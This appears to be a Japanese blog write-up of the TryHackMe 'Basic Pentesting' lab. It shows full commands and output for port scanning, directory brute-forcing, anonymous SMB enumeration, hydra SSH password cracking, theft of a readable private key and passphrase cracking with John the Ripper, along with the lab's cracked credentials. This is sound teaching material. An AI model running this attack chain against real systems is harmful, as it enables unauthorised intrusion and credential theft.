TryHackMe > Challenges > Basic Pentesting の部屋に取り組みました。学んだことをいろいろメモしておきます。

以下の手法やツールは、必ず許可された環境でのみ実行してください。

0. 主な問題（想定45min、実際10h）

Q1. What is the name of the hidden directory on the web server(enter name without /)?
Q2. What is the 1)username 2)password?
Q3. What is the name of the other user you found(all lower case)?
Q4. What is the final password you obtain?

攻撃用kali(Attackbox)を立ち上げたら、Start Machineを押して早速始めていきましょう！

1. 事前調査のポートスキャン（Reconnaissance）

まずは、ターゲットマシンのIPアドレスに対し、ポートスキャンを行います。

💻ポートスキャンとは
コンピュータの各ポートに対して通信を試みて、その返答から、ポートの開閉や、空いているポートで稼働しているサービスやバージョンを特定する行為のこと。攻撃者は、ポートスキャンにより、どこから侵入できるか、脆弱性のあるサービスが稼働していないかといった探りを入れる。対策としては、不要なポートを閉じたり、IDS（侵入検知システム）を導入したりすることが有効。一般にNmapのツールを使用する。

$ nmap <target-ip>を実行すると、

# nmap 10.201.123.241
Starting Nmap 7.93 ( https://nmap.org ) at 2025-09-04 07:06 UTC
Nmap scan report for ip-10-201-123-241.ec2.internal (10.201.123.241)
Host is up (0.0039s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8009/tcp open  ajp13
8080/tcp open  http-proxy
MAC Address: 16:FF:E7:5F:54:E9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

また、Firefoxのブラウザでhttp://<target-ip>にアクセスします。

このメンテナンス中のWebサイトをハッキングしていきます！

2. Webディレクトリのブルートフォース（Enumeration）

次に、ターゲットマシンのWebサーバに対し、$ gobuster dir -u http://\<target-ip> -w <wordlists>を実行し、隠れたディレクトリやファイルを総当たりで検出します。

💣gobusterとは
Go言語で実装された、高速で軽量な、Webディレクトリ/ファイル探索(ブルートフォース)ツール。ディレクトリ探索ならdir、サブドメイン列挙ならdnsなど、さまざまなモードがある。

📕Wordlistsとは
ペンテストで使用される、既知の単語やフレーズを集めたファイル群。ブルートフォース攻撃や辞書攻撃では、実際にこれらのWordlistsを入力データとして、総当たりを行う。
今回は、以下のcommon.txtを用いる。

実行してみると、

# gobuster dir -u http://10.201.123.241 -w ../usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.123.241
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Timeout:                 10s
===============================================================
2025/09/04 07:48:27 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/development          (Status: 301) [Size: 322] [--> http://10.201.123.241/development/]
/index.html           (Status: 200) [Size: 158]
/server-status        (Status: 403) [Size: 279]
Progress: 3803 / 4615 (82.41%)===============================================================
2025/09/04 07:48:27 Finished
===============================================================

Q1. What is the name of the hidden directory on the web server(enter name without /)?

🎉 A. development

隠れディレクトリが分かったので、ブラウザでhttp://<target-ip>/developmentにアクセスしてみます。色々なテキストファイルが見つかりますが、Q2の答え(username, password)は分かりません。

3. microsoft-dsサーバ（445番ポート）に注目

再びポートスキャンの結果に戻ります。

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8009/tcp open  ajp13
8080/tcp open  http-proxy

📍445番ポートはMicrosoft-DS用のウェルノウンポート
Microsoft-DS(Microsoft Directory Services)は、Windows環境でファイルやプリンタを共有するためのSMBプロトコルを使用している。

🔗smbclientコマンド
smbclientコマンドにより、Windowsの共有フォルダへの接続や操作、共有リソース一覧の問い合わせが可能。

ここで、接続可能な共有フォルダを取得すべく、$ smbclient -L //<target-ip> -Nを実行します。

-L : "このサーバにはどんな共有がある？"の問い合わせ
-N : パスワードなしで実行

のオプションを使用しました。

# smbclient -L //10.201.123.241 -N


        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

上の結果より、Anonymousの共有フォルダに接続してみます。

接続が完了したので、$ lsを行い

smb: \> ls
  .                                   D        0  Thu Apr 19 17:31:20 2018
  ..                                  D        0  Thu Apr 19 17:13:06 2018
  staff.txt                           N      173  Thu Apr 19 17:29:55 2018

                14282840 blocks of size 1024. 6044012 blocks available

staff.txtを見てみましょう。このとき、

🌐smbclient 内で使える主なコマンド
ls 共有内のファイル・ディレクトリ一覧を表示
cd <ディレクトリ名> ディレクトリ移動
get <ファイル名> サーバから自分のマシンにファイルをダウンロード
put <ファイル名> 自分のマシンからアップロード
exit / quit 終了

に注意してください。$ get staff.txtでローカルに落としてから実行します。

Q2-1. What is the username?

🎉 A. Jan

Q3. What is the name of the other user you found(all lower case)?

🎉 A. Kay

4. パスワードの総当たり

先ほど得たユーザ名janを利用して、target-ipへのSSH接続を試みます。そのためにはパスワードが必要なのですが、ここで、

🐲hydraとは
ブルートフォースでパスワードをクラッキングするツール。HTTP(S), FTP, MySQL, SSH,...など多くのプロトコルに対応している。構文は、hydra <オプション> <ターゲット> <サービス>。

今回は、$ hydra -l <username> -P <wordlists> <target-ip> <service>で実行します（<service>://<target-ip>でも良い）。

# hydra -l jan -P ../usr/share/wordlists/rockyou.txt 10.201.123.241 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-04 09:19:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.201.123.241:22/
[STATUS] 120.00 tries/min, 120 tries in 00:01h, 14344282 to do in 1992:16h, 13 active
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 14344126 to do in 2598:35h, 13 active
[STATUS] 85.86 tries/min, 601 tries in 00:07h, 14343801 to do in 2784:26h, 13 active
[22][ssh] host: 10.201.123.241   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-04 09:28:37

Q2-2. What is the password?

🎉 A. armando

5. 権限昇格

先ほど得たパスワードを用いて、$ ssh jan@<target-ip>によりSSH接続に成功しました。janのホームディレクトリには何もないので、もう1人のkayのディレクトリを見てみると、

jan@ip-10-201-123-241:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Sep  4 02:35 ..
-rw------- 1 kay  kay   789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo

ここから、権限昇格の方法を考えます。

🚩`pass.bak`の中にフラグがあるっぽい

しかしこのファイルは、

所有者: kay
グループ: kay
パーミッション: -rw-------（所有者のみ読み書き可能）

であるのに対し、現在のユーザはwhoami → janなので、一筋縄ではいきません。

😈 じゃあ`$ sudo su`で良くね？（初心者）

と思いましたが、janはsudo権限を持たない一般ユーザー（＝sudoersファイルに jan の権限が記載されていない）なので無理でした。他の昇格手段を考えます。

jan@ip-10-201-123-241:/home$ sudo -s
[sudo] password for jan: 
jan is not in the sudoers file.  This incident will be reported.

💥`.ssh`ディレクトリが`drwxr-xr-x`（誰でも閲覧/実行ok）！？

🔑SSHの公開鍵認証方式
SSHの認証方式には、パスワード認証方式と、より安全な公開鍵認証方式がある。後者では、接続先サーバーに公開鍵、クライアントに秘密鍵を置くことで、$ ssh -i ~/.ssh/id_rsa <username>@<target-ip>で接続可能。

jan@ip-10-201-123-241:/home/kay$ ls -l .ssh
total 12
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

特に、kayとしてSSH接続する際に使用する秘密鍵id_rsaが-rw-r--r--（誰でも読める）になっています。この秘密鍵をローカルに持ち出し、今度はjanではなくkayとしてtarget-ipにSSH接続すれば、先ほどのpass.bakを実行できます！

💌リモートサーバーにあるファイルをローカルに落とすには
scpコマンドを使用する。構文は、scp <オプション> <ユーザ名>@<リモートサーバのIPアドレス>:<リモート側の送りたいファイルパス> <ローカル側の保存先ファイルパス>。

# scp jan@10.201.123.241:/home/kay/.ssh/id_rsa ~/kay_id_rsa
jan@10.201.123.241's password: 
id_rsa                                                 100% 3326   860.2KB/s   00:00

持ってこれました。このまま使用すると、SSH接続時にPermissions 0644 for '/root/kay_id_rsa' are too open.と言われてしまうので、$ chmod 600 ~/kay_id_rsaで、所有者だけが読める状態にします。
この秘密鍵を利用して、ユーザーkayでSSH接続を試みたところ、

# ssh -i ~/kay_id_rsa kay@10.201.123.241
Enter passphrase for key '/root/kay_id_rsa': 
kay@10.201.123.241's password: 
Permission denied, please try again.

😭😭😭はい。

SSHの秘密鍵のパスフレーズ（＝秘密鍵を盗まれたときに勝手に使われないための追加ロック）が設定されてました泣。ここで公式のヒントを見てみると、

Hint

Hey,

This is the hint you’re looking for: use john the ripper to bruteforce the passphrase

Let me know if you want any help.

とあるので、その使い方について調べてみました。

🧨John the Ripperとは
Openwall社が公開しているオープンソースのパスワードクラッキングツールで、パスワード強度のテストに利用される。パスワードのハッシュ値に対して使用し、辞書攻撃によりパスワードを解読できる。$ john --wordlist=/path/to/wordlist.txt hashes.txtのように使用する。

💨解読の仕組み
John the Ripperはハッシュ値を逆算して元に戻すのではなく（←ハッシュ関数の一方向性により不可能）、

辞書攻撃や総当たり攻撃に用いる、大量のパスフレーズ候補(wordlists)を用意

その候補を同じハッシュ関数に通してハッシュ値を計算

計算したハッシュ値と、対象のハッシュ値を比較

一致すれば、その候補が正解

🤖WebサービスCrackStationとはちょっと違うらしい
こちらは、レインボーテーブル（＝膨大な数のパスワード候補と、それに対応するハッシュ値の対応表）を用いて高速にハッシュ値を解読するオンラインツール。実際、このレインボーテーブル攻撃を回避するには、パスワードをそのままハッシュ化するのではなく、ソルト（＝十分な長さのランダム文字列）を加えてハッシュ化すると良い。

使用ツールの概要は分かりましたが、秘密鍵？パスフレーズ？？ハッシュ値？？？となったので一旦調べました。

🔒SSHの公開鍵認証におけるパスフレーズの存在
パスフレーズを設定すると、万が一秘密鍵が流出しても第三者が利用できなくなり、安全性が大きく向上する。仕組みとしては、秘密鍵の一部分が、パスフレーズにKDF関数を適用させたハッシュ値(＝派生鍵)で暗号化されている。

パスフレーズ付きの秘密鍵の内部は、大まかに
[ヘッダ情報] [KDFの種類, salt, iterationなど] [↑の派生鍵で暗号化された秘密鍵ブロック]
となっている（OpenSSHの場合）。

🧭KDFとは
鍵導出関数のこと（~~Kagi Doushutu Function?~~ Key Derivation Function）。内部でハッシュ関数を何度も使ったり、メモリ消費を増やしたりして、安全な暗号鍵を生成する。

👨‍🔧結局Johnは何をする？
John the Ripperは候補パスワードをハッシュ化して照合してくれるもの。今回は単なるハッシュ値の比較にとどまらず、以下を繰り返して総当たり攻撃を行う。

候補パスフレーズをKDFに通して、派生鍵（＝ハッシュ値）を生成

その派生鍵で、秘密鍵の[↑のハッシュ値を鍵として暗号化された秘密鍵ブロック]を復号

復号結果が正しい秘密鍵構造をしていたら、パスフレーズ正解
※秘密鍵の復号＋構造チェックは、JtRが標準でサポートしている機能。

総当たりするパスフレーズ候補にはrockyou.txtを使います。また、JtRはSSH秘密鍵のファイルを直接扱えないので、特定のハッシュ形式に変換する必要があります。ここで、JtRのサポートツールであるssh2johnを用いて、

# ssh2john kay_id_rsa > kay_hash.txt

を実行しました。ちなみに、このssh2johnによって

# cat kay_id_rsa  
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
...(中略)...
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----

これが、

# cat kay_hash.txt
kay_id_rsa:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de801a2712ef86e499d5cad1af838d1940...

こうなりました。

🧩これはハッシュ値...？
kay_hash.txtはハッシュ値そのものではなく、JtRが試行する暗号化データのまとめ。JtRが$sshng$...の情報（暗号化方式、KDF情報、復号対象）を解析し、候補から派生鍵の生成→復号→構造チェックを繰り返す。

材料（kay_hash.txtおよびrockyou.txt）が揃ったところで、John🙋‍♂️に総当たり攻撃をしてもらいましょう！

普通にjohnコマンドを実行すると

# john kay_hash.txt --wordlist=../usr/share/wordlists/rockyou.txt
Command 'john' is available in the following places
 * /sbin/john
 * /usr/sbin/john
The command could not be located because '/sbin:/usr/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative privileges associated with your user account.
john: command not found

と出るので、以下のように実行します。

# /sbin/john kay_hash.txt --wordlist=../usr/share/wordlists/rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (kay_id_rsa)     
1g 0:00:00:00 DONE (2025-09-04 16:08) 5.882g/s 486682p/s 486682c/s 486682C/s behlat..bball40
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

出ました！！！SSH接続のパスフレーズはbeeswaxです。これを使って、target-ipにユーザーkayで接続してみましょう。

無事接続が完了しました！あとは、

$ ls -l
total 4
-rw------- 1 kay kay 57 Apr 23  2018 pass.bak

を実行して、

$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Q4. What is the final password you obtain?

🎉 A. heresareallystrongpasswordthatfollowsthepasswordpolicy$$

また、このパスワードを用いて、

権限昇格に成功です！お疲れさまでしたー！

6. まとめ

この部屋のポイントは、

リモートアクセス系のSSH（22/tcp）やファイル共有系のSMB（445/tcp）が空いており、ユーザー名漏洩のリスク
ユーザー名が分かれば、辞書攻撃でパスワードクラックが可能
秘密鍵のファイルパーミッションがガバガバ

のあたりでしょうか。脆弱な環境が与えられて、どこに注目すべきかとても難しいのですが、たくさんの新発見があり楽しかったです。

7. 参考文献

ブルートフォースツール関連

SSH関連

その他